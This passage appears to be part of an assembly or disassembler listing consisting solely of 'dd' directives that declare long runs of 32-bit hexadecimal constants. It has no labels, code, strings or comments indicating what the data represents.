		dd 84B85C0Ch, 9700E542h, 28F1CA35h, 0F75DC2h, 0F4F90620h
		dd 0FAC4D7E0h, 0AEDDF500h, 59408901h, 510300F1h, 0A5E5473Ch
		dd 84001B79h, 1866855Eh, 1EC86D7h, 0C4021159h, 0F4835476h
		dd 950CF723h, 40411DD8h, 90B23A7Bh, 10438198h, 0B8A0490Bh
		dd 7C02654Ch, 0E4BCDAC1h, 9DEB41E3h, 3D93ECCh, 0F41A3592h
		dd 0D58B9B51h, 0B11C1C00h, 1210B06Ah, 14A460DBh, 95D82B29h
		dd 3E6C031Dh, 86079340h, 683440h, 10712A8Ah, 876F058h
		dd 84132F1Fh, 5BA4EF00h, 0BACDF1h, 6C3A8918h, 0D3ED0396h
		dd 68FB800h, 5D6320C1h,	30150051h, 0DE95D2B4h, 1D007138h
		dd 0A002421Eh, 3EC013Eh, 0F67C46E3h, 48F19F77h,	36F4D85Ch
		dd 943CAC0Dh, 0EC0F0E8h, 0E47A002Dh, 0D6DE15DCh, 0D8CA56DDh
		dd 5C1294DBh, 0B29E0800h, 7A453Ch, 9F9358E2h, 0BF527CBEh
		dd 4DA83D01h, 66BBD01h,	7145C0CEh, 351900D0h, 0D478EA2Eh
		dd 2700300Eh, 0F37B9D62h, 14CA6876h, 985607FEh,	5B94C300h
		dd 0F15F7E9Fh, 2A531D00h, 9DE18E73h, 93D000A4h,	0A76B43B4h
		dd 0D9B0E615h, 11D8BD00h, 7876D39Ch, 0C40330A5h, 95669AA9h
		dd 2BFA1901h, 0CF6FBC49h, 7F27C4h, 31462D2Eh, 0B77DB179h
		dd 67A87E0Eh, 0E0CBC078h, 515DCC5Ch, 70D9DC9Eh,	1B139850h
		dd 0FDE30067h, 7808E49Ah, 9D01FCC1h, 450AB076h,	18C8644Dh
		dd 7EA28051h, 0BCA0C218h, 11B14611h, 72190h, 0A5C67ABEh
		dd 3B390565h, 0A40DD943h, 0F4E8E4B8h, 0B0F091D7h, 0B68AF0A0h
		dd 2B8F5B03h, 0D9AEB182h, 1130FA3Eh, 0DCE25052h, 2074B2h
		dd 7AABF01Eh, 0E4BFFCBEh, 0F95CAD28h, 0ED666800h, 35BD90F9h
		dd 832800E8h, 0DD8F6FD0h, 883B250Dh, 0F3007259h, 1CA173B7h
		dd 704C827h, 0E431A6FFh, 0BB26B039h, 0C7000B7Ch, 11C5CC05h
		dd 8A30F4h, 0FD7F93C8h,	0C62A043h, 8D6383ECh, 880DC986h
		dd 0F494E12h, 0F06BF4D7h, 92B79820h, 0EE743C9Fh, 2EDB6F00h
		dd 8ADEA417h, 3E4870A2h, 0AAB913A0h, 0E366ED80h, 3E1EB377h
		dd 0C60E3BF6h, 62FB9DD4h, 48883596h, 1F6A7BC4h,	80149CE5h
		dd 0AD957D77h, 9B003D65h, 4AEF9383h, 72DDB3F4h,	118800FCh
		dd 0BF66B1A8h, 421EA415h, 5B802FC5h, 120E29C7h,	0BEE701BCh
		dd 7BE92E36h, 0FA4FF4D7h, 0CF00CEF8h, 6C721571h, 0EF6FB8h
		dd 9DFBE6BCh, 0A1708A94h, 0E093EE2Ah, 0A22A4000h, 3303FA8Bh
		dd 52C509BEh, 4C205711h, 2FE0857Bh, 0D01182F5h,	0E0EDBEE9h
		dd 60B0FB54h, 0E51B19B4h, 5564FE64h, 6920D1E9h,	0FF00E8B6h
		dd 251C655Ch, 0A4521Fh,	0ADF4856Bh, 4099512Dh, 89139A76h
		dd 14078712h, 7C059FAh,	0EF6458h, 0BCEE269Dh, 8FCB4570h
		dd 59563A00h, 9EDF85C8h, 0D7800E4Eh, 5D23EC98h,	0F5C0D2C5h
		dd 57744BACh, 8093FD3Eh, 489B9673h, 9F22D7h, 0A455AD2Dh
		dd 151BC087h, 0BE818B00h, 79886EB3h, 9E23018Ch,	26D13D71h
		dd 9C92708Ah, 0F9B82050h, 0C23A08ECh, 86738018h, 62370B48h
		dd 47C33C6Eh, 55CB4601h, 4CDCE1F3h, 0F52C3880h,	0FF80507Bh
		dd 0A50DA4D1h, 26DF00A6h
		dd 3DB86967h, 0D201F7E9h, 0D6FADA09h, 0BF306548h, 160100B9h
		dd 615DEE91h, 0E100C28Dh, 74963BC8h, 0F854421h,	0A9B49A01h
		dd 2A593500h, 3874436Ah, 0F97A0500h, 0B91EFE32h, 1160C4Ch
		dd 19B4379Fh, 7FCCC201h, 0F907C08Bh, 0D7C8CBF9h, 2EECC8h
		dd 0BCD62D41h, 0EAA6411h, 0C4EEDB00h, 0C2AE8CE1h, 250C02E2h
		dd 7793627h, 418DD680h,	6A00031Ah, 18733B39h, 0B4F56Eh
		dd 1C5FD3DAh, 2B5A77FBh, 0B2035170h, 19DF9EC3h,	6EDD805Ch
		dd 0E95B00E6h, 0A3AC91C4h, 11006B28h, 64097B42h, 0A5E0E7h
		dd 3A2B06C8h, 0C934C078h, 894471C0h, 0CAD910Dh,	0BD1F8112h
		dd 0A57A9B18h, 0E914CE02h, 0E192FC39h, 10528081h, 0EAEC00A0h
		dd 1C1DA939h, 3B0142E9h, 1A2ED24Ch, 33C22880h, 0FE5604C9h
		dd 3E0AF21Dh, 85DBFC01h, 0A8EC4121h, 7EF33858h,	74B8F48Eh
		dd 7BD84AA0h, 8018B4AAh, 0A8496C25h, 10EA00FCh,	3BCAFE2Eh
		dd 7700921Fh, 42125C0Ah, 9B0D59h, 0CAA918Ah, 41A934EAh
		dd 44C44C2Ah, 0E866140h, 9D8CF2FFh, 6E12E681h, 31D1801Eh
		dd 29D86F63h, 3213EAAh,	0E4514680h, 6C90B716h, 0A49D2739h
		dd 20037984h, 0F8CDE0ECh, 1BF733Dh, 0C837F1CCh,	0C04DE74Ah
		dd 42000E60h, 0F504DD21h, 0BCC0EEh, 0F908E953h,	0CBD15CEh
		dd 0D4145600h, 69D23A38h, 0D58A0093h, 0D3AD67B3h, 9000AE4Ch
		dd 8CFCC91Bh, 7A5D25EAh, 0D5FE1CB8h, 4F7EC03Ch,	7637BEB4h
		dd 0D5C11B6Bh, 92F8BD80h, 2D18711Ah, 0E080A99h,	0E020CFBEh
		dd 31A5D0CFh, 96FC40BCh, 590363E4h, 0E17BF218h,	3BB75D98h
		dd 0E7F44DAh, 47D50AEBh, 934F8740h, 33011A49h, 0ADC4B720h
		dd 188CBD0Bh, 0C0502AD2h, 57D0430Eh, 0D320F86Fh, 0C02082E0h
		dd 0E301341h, 8C402F60h, 83BBFF1Ch, 0E3DC823h, 9264D0E6h
		dd 200F620Ah, 7CD0EEDAh, 0F62C0300h, 6E2597A9h,	0F050B84Fh
		dd 0B72100D1h, 0E71BCB87h, 81DE43A5h, 2F8BC8C0h, 19EAACA9h
		dd 8DCC091h, 0F218024h,	877A8BD1h, 0C38200D2h, 7D47BE4Dh
		dd 464CC1E8h, 8CA865CDh, 88B3E40Ah, 0DE001FACh,	0FA6E99C7h
		dd 4E7765h, 0CB0A8DACh,	0C31E0556h, 0FF307D14h,	0EC3D019Ch
		dd 0BF3F2342h, 77A26F4h, 1606F9B0h, 0B910F02Dh,	131FDD29h
		dd 3AD05Dh, 0FCE7FE11h,	0DE553Eh, 0AEEE3634h, 9C571B2Eh
		dd 0C77F2B00h, 0C0E8CC6Eh, 0F821E78h, 0E063808Eh, 563DCA1Ah
		dd 98F5470Eh, 4880FF3Ah, 3E8A6574h, 6750259Bh, 0FC00A55Ch
		dd 6691FFC8h, 38D61C6Fh, 0C7794071h, 9DBD408Ch,	0A1012C7Dh
		dd 0D9F93BA6h, 98F0A82Ah, 0AC0C009Ah, 0C1E6EB15h, 0FA7DD278h
		dd 0A2006177h, 3E596C81h, 0BDD8CAh, 62944DCh, 6E988C89h
		dd 0EA072870h, 0A2E77BBAh, 46C670E0h, 0D0CB3EAAh, 9C2B0B00h
		dd 0D184608Eh, 97BBBC3Eh, 65008314h, 0DAD9E56h,	0C6F20031h
		dd 0B5514CC0h, 0E3E48224h, 0C447A703h, 0B0F757C9h, 3F22B7Eh
		dd 0D23C43D3h, 46985002h, 2200AEC2h, 8396592Eh,	8BACFh
		dd 691E60E0h, 0D8A34561h, 790DBE00h, 3CB8D920h,	0C87800F6h
		dd 4C2EFBD6h, 5C003A55h, 0FC9BB7CFh, 924820h, 593F8EF2h
		dd 0BE2F662Eh, 0C1B2A00h, 0E45F09E1h, 0AB541F30h, 9FB200B7h
		dd 0D9E75EB8h, 0D13B9600h, 460620ACh, 0F89400ABh, 0F3D3F6B4h
		dd 750E3443h, 0C023A088h, 63A33A10h, 9DA700EFh,	20124927h
		dd 150D621h, 5F01B8B8h,	53B4A1E3h, 0D2DCDDA7h, 4B064C45h
		dd 38831839h, 12600459h, 0F0EE3026h, 28D8F100h,	3C209E3Dh
		dd 80179DD1h, 381FE87Fh, 550B9E14h, 0FAAFB800h,	2424FC98h
		dd 0DB380Ch, 0F87A5059h, 0D6005591h, 6E3A154Bh,	26758674h
		dd 952704h, 23B61969h, 0B13D264Eh, 1640036h, 0A34B7CDCh
		dd 0E91201B0h, 0F16EFB55h, 407FCB1h, 4EDE1E00h,	4180703Fh
		dd 0AC5C0009h, 0DF8D2BDh, 9400C41Dh, 1276E134h,	4D6082h
		dd 0A3354F04h, 96E70BC8h, 8616A500h, 0B0C08505h, 31970117h
		dd 473C4D79h, 0F00C2149h, 280050F0h, 0B6158960h, 5045F213h
		dd 78DB9061h, 69E480D0h, 9D98D503h, 0A0F66A8Dh,	98EF5F42h
		dd 7E0E0069h, 7A3C7409h, 5807685Bh, 16701496h, 5510F410h
		dd 91780069h, 0AD1DEFD9h, 60002BDAh, 0AFC0633Bh, 304036E3h
		dd 92B84422h, 0FD38F6B5h, 0C393000Fh, 87F0AF6Fh, 1D233E32h
		dd 0E463A8h, 35185DA5h,	462FF3B7h, 721A6400h, 2433A3B0h
		dd 0C4B50FAEh, 0E986793Ah, 96005863h, 332B1754h, 6209A45h
		dd 0AAFF16C4h, 7670E88Eh, 58ADBC88h, 0A008019h,	0D7536B5h
		dd 8F00A07Dh, 8EE4F0B8h, 0E9FCE6Bh, 3A0737CDh, 5BA88A21h
		dd 322020B2h, 0E478FF00h, 0E3F89374h, 0EFC90049h, 73ABFC76h
		dd 22004111h, 89198A15h, 74CB36BAh, 13BC013Ch, 652528DEh
		dd 0DB24C8A4h, 42473Ch,	9F8F1DE2h, 4885B8E1h, 12006CF2h
		dd 5F0A544h, 0FE385FDCh, 8A2D805Dh, 6C3D2066h, 97A32E77h
		dd 0FC2838B3h, 2CF600E8h, 0BB8E4536h, 1C01BD4Dh, 29615E2Fh
		dd 0CA839235h, 0B664228Dh, 83F878ABh, 0B53F90A0h, 4D58E6h
		dd 7195897Ah, 0CFF71421h, 0F6207388h, 0EBABF3DCh, 42DBD300h
		dd 0E0A5664Fh, 983100C3h, 73C7A471h, 2F3EB71Fh,	0D2D68305h
		dd 0A8548177h, 183F1476h, 216CE67Bh, 7E00A961h,	4723BDCCh
		dd 2BA88Fh, 2D82CF8Ch, 1C25ED7Dh, 6A1C4E7Ch, 0FF809A8Eh
		dd 0A14664F6h, 84CB00EFh, 0BE5F4C09h, 36FA9F42h, 0EA00C3E8h
		dd 446B273Ah, 752A83F5h, 0DBAD3E8Bh, 0EA4D728h,	13539175h
		dd 0B5D01C62h, 0F5D28480h, 7F003635h, 15949646h, 0E6E4EFBAh
		dd 3B440024h, 0DF644F61h, 0FF00DE9Bh, 5F1CDD54h, 73D48B3h
		dd 2CABBB4Ch, 1FC85077h, 52007329h, 3AC9405Dh, 0BC6EA6h
		dd 0CEFD2F63h, 67975E37h, 5F5BF00h, 0F88C0F22h,	28D7014Fh
		dd 21BEE833h, 0A7F850BAh, 5045992h, 0B7B1B287h,	0C6B56880h
		dd 0CA06301Ah, 38694C11h, 86A80F09h, 3F4020BFh,	7BB259Fh
		dd 0B82781E7h, 7018C0F2h, 2F74EB7Dh, 449CBA00h,	1CC3C4C2h
		dd 0DCF30478h, 80BF24E8h, 0D7961FB1h, 824D7B15h, 920B1198h
		dd 47989007h, 4A3550CDh, 2B0B8387h, 115CF2Dh, 17222FD7h
		dd 7325BAC4h, 45E6008Fh, 0DDCFECC4h, 0CC998A3Bh, 4D46C887h
		dd 0C350A6E0h, 0E2391DEBh, 8698C0E0h, 83078819h, 0E7B63Ch
		dd 60FE0C06h, 33E5308h,	0D7ED22F1h, 0EC88237Eh,	4009071h
		dd 1E312816h, 8AAE77h, 0D01B8773h, 5435C5B7h, 0D5CE9E0Eh
		dd 1CA4C055h, 13D1EE8h,	0E07CE426h, 2E8D2DFCh, 9B47B0h
		dd 31BD34DFh, 0BC197436h, 1C7CEB50h, 2E178000h,	3076828Dh
		dd 20E500F8h, 4064108h,	0AE0FA687h, 409A0AA4h, 76094770h
		dd 0A29C00EDh, 28F7F3DFh, 57005F34h, 5A69312Bh,	0D4C0F1h
		dd 374D5021h, 60885B39h, 0F559BD00h, 871F6D04h,	0F0A107F7h
		dd 909DCBBEh, 0C4EE7915h, 0D20FD31Fh, 0A2D4DCCEh, 0C0751CFBh
		dd 6088CF4h, 5B648EAEh,	0E602180Eh, 3C574A2Ch, 9602C05Dh
		dd 4861C06h, 50D42FCh, 90408403h, 0CE60D697h, 80C22470h
		dd 11E66167h, 0F4FB5614h, 0FA06DF93h, 6A20EADDh, 6D8404A8h
		dd 0CD7801h, 0D1DAC392h, 8211C088h, 0DEFD9AD3h,	3C7BCC00h
		dd 8C3AB02Ah, 1B0F1365h, 0C79804ABh, 456CC89Bh,	2549AF00h
		dd 0F895DC1Fh, 0C43F00DFh, 703D8650h, 6B049753h, 0E3ECBB11h
		dd 25467F80h, 0A9810366h, 2DD191Eh, 4013B5F9h, 0BA655FB0h
		dd 0D2FF890Ah, 4403C20Eh, 0A802BC64h, 5D945714h, 852E141Fh
		dd 17D607D8h, 0CECBB7D5h
		dd 0FBC06083h, 64D8203Eh, 748C811h, 900CAF08h, 18EE07F7h
		dd 64076F6Dh, 52D26951h, 1C666AD4h, 65C6E0Fh, 0E8AC0D94h
		dd 334F0100h, 35AB76FEh, 0EB89CF1Eh, 1254E302h,	77413CA7h
		dd 351C001Ah, 54E474EBh, 8CDD8D00h, 57189C06h, 3864A998h
		dd 80F7D6D0h, 0E83E556Bh, 0C2E100FFh, 9A9D09DAh, 0B04D035Ch
		dd 4A725C6h, 557D1C7h, 4C74703Ah, 1F373C00h, 0F24940FDh
		dd 0ABE3002Fh, 540E162Bh, 23015535h, 5AC13793h,	90FC38D7h
		dd 0B01E009Bh, 0D5F4790Fh, 0F70F820Eh, 35810Ah,	190CFFA7h
		dd 37101D24h, 75E1404Eh, 9CD9F845h, 4388E60Fh, 6E6B8273h
		dd 722360E3h, 18F50027h, 0B4C62DFBh, 573EAAEAh,	38120F9Bh
		dd 5F4E8010h, 0A8D519E2h, 10988A4h, 134FA946h, 9857F5FEh
		dd 6821BD09h, 0EC46030Fh, 0A62832CDh, 38881FC8h, 23422B01h
		dd 0C259AAFBh, 89F7A040h, 9860016Bh, 57A2AE90h,	12AC5010h
		dd 0A719F1FEh, 0BC90D6C8h, 617779F0h, 0A0F22106h, 7D9CE814h
		dd 93558B07h, 16448CB5h, 1560D14Eh, 0BF3EA2Ah, 0B2C35F00h
		dd 7A8E76A9h, 0D8446456h, 6629815Bh, 6E7883A8h,	1C17362Ah
		dd 2613EBA0h, 101D189Bh, 0C0053CAh, 75A2BB5Ch, 73A997Fh
		dd 4F0E58E3h, 0B680F90Bh, 7C22FBDh, 0CE6A9A00h,	0A5A0B804h
		dd 9F310EA8h, 2EA02CAFh, 793ED814h, 650CEC00h, 803A7F83h
		dd 0B5C3997h, 0BFAA6F03h, 1DC32A5Ah, 0F0934588h, 5D874607h
		dd 56A013E1h, 2F69E6h, 0F1CA1EE9h, 163B5E39h, 8C5A070Eh
		dd 6531E057h, 4BA6F5h, 0D8F877D5h, 6260BF01h, 0DD57450Eh
		dd 345160EDh, 0CEA9D0h,	3D0DE3C9h, 0BF0AA574h, 800BC73h
		dd 6879CD8h, 7CF465Fh, 56A7E563h, 0F602C1BDh, 0A362DC1Dh
		dd 0C2867C00h, 578DD44h, 0EEE1007Bh, 0B736B288h, 9D0013E2h
		dd 3744656h, 2DD4A2C8h,	5F764C95h, 409C6C0Fh, 0BF315530h
		dd 8C5C0051h, 0ADC6B81h, 0B4000827h, 0FDA7678Ah, 46DAECh
		dd 26C06998h, 0B5F73558h, 0C006470h, 0E681C11Bh, 4A5412h
		dd 0F81D466Dh, 8BFDA6CEh, 710A2E01h, 0CA698629h, 5F64CCh
		dd 6813BF94h, 2CB71A88h, 0C3C1F400h, 1BACE983h,	9C7D1DE6h
		dd 81A04F2Dh, 0C9AF3580h, 98004B77h, 8AC064DEh,	142072A8h
		dd 90529F06h, 6C3ED700h, 603A16DAh, 0C7534F00h,	6B7E4EE3h
		dd 5E231C52h, 0CA0D86BEh, 683D309Ch, 79888016h,	9BA246EBh
		dd 984A0040h, 1CCD3B0Ah, 0A300D5F3h, 0F6329FF9h, 0AC474Dh
		dd 0C4E7C15Bh, 6220567Dh, 4557D81Dh, 6DFE17C0h,	3D751F22h
		dd 0F3007A43h, 3D85FBCDh, 1400592Fh, 0B305F1D5h, 1F98F0Ah
		dd 529243DFh, 0FC2950B1h, 9B01013Ch, 0D399D1ECh, 0A7FC7AD8h
		dd 1C490074h, 0C75030FCh, 0E70FAA31h, 804FB532h, 80B74B07h
		dd 161C0043h, 0C77D8D17h, 8E07ECEBh, 1B4D747Ch,	0B8F78247h
		dd 674E5BF0h, 66900045h, 4978B523h, 0E9008D9Dh,	7BCA42E0h
		dd 101E40h, 0BF0D4E03h,	9E34B5Eh, 0B6D0800h, 76D0287Fh
		dd 877DE9h, 98F59CD7h, 0F22CBDC0h, 0EC7F0C00h, 93863A88h
		dd 830F0030h, 2D19D96Fh, 8AFA6C05h, 0F94FA100h,	976D65Bh
		dd 9AB4A045h, 0B95D00EBh, 256EA6BEh, 19001422h,	0BA8C871Bh
		dd 0F5E1CFh, 4A41487Ah,	0D4B0AF0Ch, 91F024B8h, 0FBC5840Eh
		dd 462B6C8Fh, 6CD612F3h, 0CB080467h, 40824F51h,	756512C6h
		dd 0D2FCD6h, 7487DCF9h,	18137CB2h, 0FE5D800h, 0E9C0587Fh
		dd 61BB000Dh, 1D27303Eh, 8400E7CAh, 45018AF2h, 0B0557Fh
		dd 536821C1h, 2E4D48Bh,	0BA1CA612h, 69DF1C40h, 2AA810C1h
		dd 8C44C5h, 722580D4h, 0F4E7E049h, 4098666Ah, 0B4316B00h
		dd 9E952h, 56BA0284h, 0C72075B0h, 0B20A0E01h, 0A116A290h
		dd 0F9DB470h, 0B45D2827h, 0C0E34460h, 6600A47Eh, 532A373Fh
		dd 0D53404h, 8289A15Eh,	8BE6F60Ch, 0D94CBC07h, 0B300A09h
		dd 0B844FFB7h, 0E81400A5h, 49665527h, 70E2443h,	604A0A3Ch
		dd 0E51189C5h, 0FC4708Fh, 4F8475D4h, 6265D560h,	3F4FF08h
		dd 0A41D8D00h, 4D56EA6Dh, 148003Eh, 79C32984h, 6E1D0737h
		dd 16C0CB8Ah, 41D018CEh, 5C6D09D6h, 35803D5Eh, 0A46560CCh
		dd 33BC631Ch, 8C07314Ah, 1822F01h, 909F2B6Eh, 7FE80003h
		dd 5C50BC80h, 0CC0ED778h, 20D5A5BEh, 0F0AECF58h, 4ECB00E9h
		dd 4CCA5DC7h, 0FC0067B1h, 0A58DB26Dh, 3AC5BE5h,	82443193h
		dd 3E885028h, 997A53DDh, 4EE2DF02h, 680407DAh, 7695A4h
		dd 7F9F2C0Ch, 96321136h, 0B35FAA00h, 0AE388370h, 9C640056h
		dd 533BA0D1h, 0D228D834h, 5709029h, 3AA3C601h, 3E5796EDh
		dd 98678DC8h, 6402019Ch, 0AD13D652h, 53AFD498h,	0B4D2EB00h
		dd 0F2DA18FEh, 0F5E74CB1h, 77D60600h, 97CD0599h, 4920C26h
		dd 0A1364C01h, 42E811E4h, 177703Eh, 1B18EAFEh, 8B912872h
		dd 693E229h, 1113C3h, 0D18B1FA9h, 0F02A63BFh, 5A199A60h
		dd 13DDBA2Bh, 403960BDh, 586D9D94h, 7912D129h, 0F4406B6Ch
		dd 9BCBE892h, 10E90096h, 0C0B98AA0h, 0DD09FEFBh, 0B45616h
		dd 0A7285944h, 7D69863h, 0E249C99Bh, 9780EE79h,	6AE79C65h
		dd 3CBE3B00h, 691C3ABCh, 394300D6h, 1E7CF930h, 853883B1h
		dd 0DD9A00FBh, 0CA54E8Ah, 5A930095h, 0CE8B0987h, 0BCF65382h
		dd 8063363Dh, 49FE784Eh, 0E569CAFh, 0AED3047Bh,	16A7C40h
		dd 0D2003FCAh, 0B16BF6C2h, 0EAC618A6h, 877F7Eh,	16DFC92Dh
		dd 0A7F06B0h, 41541E00h, 0E88DE3BFh, 271300DDh,	0FC1A7784h
		dd 7400121Bh, 1DB2BA44h, 4BA58Fh, 97933275h, 9870DC0Dh
		dd 4236B600h, 33C2545Fh, 9BCF01F1h, 0D5AAF0EDh,	0DC04C8C6h
		dd 0E9FCD214h, 0CCB6C0A4h, 1E0E4h, 0BDF14CE5h, 93A478F2h
		dd 56E85E7Ch, 8DAB700h,	0ECD718F7h, 0BA9F00D3h,	2F9B7D9Ah
		dd 23000A07h, 3DE20FEAh, 0FFCBE6h, 0B452E496h, 545A0BBDh
		dd 0F164530Bh, 0A1F18140h, 46C007F6h, 0A787002Fh, 4E9A8EB1h
		dd 0FC00763Ch, 0C189016Bh, 0E8DA03h, 0D46F7754h, 724F7153h
		dd 40220509h, 14A8A085h, 3D1D51Eh, 6A34BDE6h, 70C70856h
		dd 8A13A4DCh, 5FD333Bh,	0AD57903Fh, 35AE21C0h, 557F8Fh
		dd 649B2C6Ah, 0CBFDD9D2h, 59753207h, 0CAE7651Fh, 0A87D5563h
		dd 610FBC28h, 201B7198h, 0D2983452h, 0B2789D07h, 9E41BDB8h
		dd 18BC936Bh, 0B43E953Eh, 441BEB06h, 0D0283153h, 190624E3h
		dd 137333FAh, 1F180008h, 1BCA778Ch, 94007121h, 0ED0F348h
		dd 61F88Eh, 89B85969h, 2CB0ACB7h, 0FE00C698h, 4DD0FD0h
		dd 0C9AD8Ah, 2907BC38h,	1BBAE8D5h, 0CC10403Dh, 202860A0h
		dd 1D6E4DE3h, 40E91973h, 0ADB80ABFh, 520B8578h,	5AC98ABh
		dd 0CA80343Bh, 1B381BDh, 19EFE114h, 0CFBE4A6Ch,	0C67F1900h
		dd 0A4369B74h, 7D6407A1h, 0C05EAB42h, 0ACD58DCh, 851428B2h
		dd 1D74CB7Ch, 712CD205h, 0ABC2505h, 451D8420h, 0AF500B53h
		dd 8E80EBEAh, 0E2D848F7h, 393D6F00h, 88CA4CA4h,	45930004h
		dd 94059AC6h, 2F00BCD9h, 4D49E456h, 815ED6h, 7B46DAABh
		dd 8021A544h, 27603C06h, 0D2703Dh, 0F2FBF172h, 402DEA7Bh
		dd 9BFF6203h, 90C76405h, 7C97D9h, 6A88DC80h, 8B90020Dh
		dd 6800DEB8h, 4EB4E427h, 530EA2h, 0DC0C4237h, 0D9D4897Ch
		dd 808C793Ch, 12E69014h, 1E27DAh, 0F33BB7EFh, 0EB934EDBh
		dd 8BE90400h, 45B65D1Dh, 3A58129Ah, 3646039Ch, 41C0F09Dh
		dd 52001D7Bh, 8542131Eh, 0A00B6FE3h, 63E090h, 0FF413348h
		dd 9D96A1D5h, 12F10A38h
		dd 0AA14923Eh, 9DB23EE3h, 0FB40DFB8h, 547030D1h, 14670028h
		dd 0B54688B3h, 7900E507h, 716BA486h, 0C98DFAh, 74736620h
		dd 0E7C1B71Eh, 0C6003B72h, 0BC2AE5D2h, 4D1F14Ah, 8085BEFAh
		dd 148C8045h, 0C1C7DDBh, 83BAD8E3h, 9C6DEC6Ah, 261075E4h
		dd 13BAB5Ah, 0CAD03DBh,	89B42081h, 9D2AC91Dh, 0F6714780h
		dd 0D2A8CEh, 72B16D56h,	42FE30D6h, 0F86AC62Ch, 1492EB00h
		dd 74847EB2h, 23C02ED9h, 0C8E30070h, 415EC450h,	399E6000h
		dd 0D828DCAFh, 0AB8E0382h, 7F0DB462h, 0B212480Ch, 0BBF6ACh
		dd 13F19147h, 0AB5D53DCh, 2D237502h, 0E0316F90h, 0C24E7BEh
		dd 0A43AB0C8h, 0A078D440h, 9086371Fh, 0A6356240h, 0F775CB7Bh
		dd 7E1BAF4h, 7AB65E79h,	4F685058h, 0BE7A2821h, 882E25h
		dd 221663E4h, 0F2780B89h, 0BC80CBF7h, 817B0415h, 0D8DD7100h
		dd 6392DE19h, 5CCE0045h, 9AC10CC8h, 0DF5C517Eh,	233702B4h
		dd 489BB706h, 0C6C5694h, 0AA6247DBh, 7A0B4B51h,	80E91AEBh
		dd 0BA5C9484h, 0B4FAD2h, 1B5D8723h, 0A522D1A0h,	78423300h
		dd 0D0A6CCFFh, 0F1D4148Eh, 0B9509E05h, 0C0B08Dh, 11C34CA5h
		dd 677933E6h, 0FCAF981Fh, 5E2BED83h, 0D64BD056h, 2D4E6C8h
		dd 0D8C8B8Fh, 0D4C3547Dh, 0F3F5FAA8h, 0E0915800h, 0EF89E50h
		dd 0DFAF2C42h, 0E7F40EF8h, 0D9D79042h, 33B59080h, 0A70112B3h
		dd 2B8D7475h, 46E06E15h, 60677571h, 76B2E0F5h, 9E3DACEBh
		dd 692A806Dh, 20281CDFh, 968000A1h, 17D34A2h, 910A5ACDh
		dd 0E0044E87h, 0C80D21Fh, 0B81151A1h, 8E160B1Eh, 280C7D88h
		dd 18C0ABB4h, 73F9D868h, 98CB00B5h, 75962B57h, 1950F4E6h
		dd 0F0037754h, 0E51FDFEh, 96E0B77Fh, 3287BCh, 7DE51CCBh
		dd 57DFE333h, 82884A00h, 9F7C2086h, 0C9D03DA2h,	6E59802h
		dd 314081AAh, 3FF8F56Fh, 0DED4CE12h, 0C0F2980Eh, 0AC33C9E7h
		dd 19970110h, 0C823A9EBh, 0C19CC480h, 0B804E203h, 38BE313Dh
		dd 6902B3B6h, 6FC525BFh, 0FC352D60h, 80F3C838h,	0A994AB0Ch
		dd 6B58BBDh, 0EA6BF726h, 0FEF488E3h, 3B4EB70Eh,	0F2E4C631h
		dd 28B0E80h, 0B6E084BCh, 93C7E907h, 26BA3000h, 2B3A8366h
		dd 5EBF00FCh, 0EFB9782h, 0EB38B021h, 61138771h,	0CB34A911h
		dd 399C94A0h, 70D5E2h, 6F8E1FB0h, 0FE0D8311h, 141E9324h
		dd 0A83D6080h, 3AD7144Fh, 84009820h, 615536F7h,	0F500328Fh
		dd 0D45DDB8h, 8C39D6h, 92EFA47Ch, 0B01AD728h, 0AF578500h
		dd 0A7B2824Ch, 2CB182Eh, 0A532BE8Dh, 0D6E84D00h, 680BBCE4h
		dd 0F0B000ABh, 92D5C557h, 34C77A0Eh, 7490F8D6h,	0EF3394Dh
		dd 65D3B1D1h, 6AAEB680h, 18002E51h, 57FAD911h, 0F919CAh
		dd 6E5378C9h, 3CFE88AFh, 0AEF64900h, 0B3CDD09Ch, 556A0029h
		dd 18A07073h, 77000495h, 3BE8EDB7h, 2956B6h, 790A3C0Ch
		dd 31E43DCBh, 1915FE1Ch, 99C8F55h, 6050B0C0h, 49B3F914h
		dd 5400C8F8h, 71357C29h, 80E57DA4h, 2A0110B9h, 6E6DBDh
		dd 43C7857Fh, 0D7257BDCh, 7DCC4107h, 0DB509B8Ch, 3E6F36EAh
		dd 0D00E84Eh, 0A221247Bh, 3101CB7Ah, 60CC482Ch,	0DB700569h
		dd 8D03071Dh, 558BFE3Eh, 1BE840BBh, 949DD1E8h, 4F270B12h
		dd 5C2C2400h, 248F012Bh, 80D463ACh, 601069D1h, 1D017843h
		dd 3DAE336Ah, 0C8806872h, 0F9D8694h, 0B3F4650Ch, 0A8DB4C01h
		dd 1F719160h, 9266C0h, 0C7263D12h, 6E7370D3h, 1A415D18h
		dd 70C93E70h, 4DA80174h, 717CA3F4h, 9A2AECAAh, 8096D4Bh
		dd 0C6B861E3h, 34BC9E0h, 0EF0E9FA6h, 3390C259h,	5A008244h
		dd 0E8C355AAh, 990B6FEh, 6F4E42A2h, 0F2ED3000h,	910EE294h
		dd 0E126DF28h, 0FA42A8BAh, 8D04E0h, 404933C4h, 0BC93AB09h
		dd 0B6ED8500h, 9C66EE21h, 8D17151Eh, 0DB12FC7Ch, 0F4200E2Ch
		dd 3941FB2Ch, 7F88E101h, 8B06A4F1h, 0AAA3F0h, 4A180A1Dh
		dd 0D4A7DE08h, 4C86FA00h, 7088A83Bh, 7AE94C36h,	0E3EC6600h
		dd 1E92698Fh, 1901D5F0h, 0BA2B7DE6h, 5FE0F344h,	0F27FAFh
		dd 0FE856C90h, 8B27D3D2h, 823B940Eh, 0E305C00Eh, 74583F7h
		dd 5C474A19h, 76150D2h,	60056750h, 442B28C0h, 0B990B800h
		dd 27A947h, 0AC823FA8h,	9912ABDDh, 7243F200h, 2E450489h
		dd 4F8B06A7h, 0E084F73Bh, 76CABC00h, 288D1E2Dh,	9E99F021h
		dd 1F80BEB8h, 1B2C876Dh, 8B00DAD3h, 0BA7E0981h,	0EE9DF02h
		dd 433D6261h, 92A0C2E0h, 95009126h, 0A87AA655h,	74EC63h
		dd 1676C6FFh, 4BAC05B4h, 69483614h, 0F3F2079Ch,	2360C2CCh
		dd 0F494A13h, 0A497A95Dh, 0AC491B4Bh, 0EE0C2DFFh, 110A520h
		dd 0C53E9B5Bh, 0EA08B53Eh, 0E264451Bh, 0DA27F232h, 460F7E40h
		dd 2D5C0538h, 81CDD847h, 70E4BC17h, 0DC096657h,	45EB1F13h
		dd 47B083E8h, 58065315h, 0D0EA9F42h, 39860390h,	10814EFEh
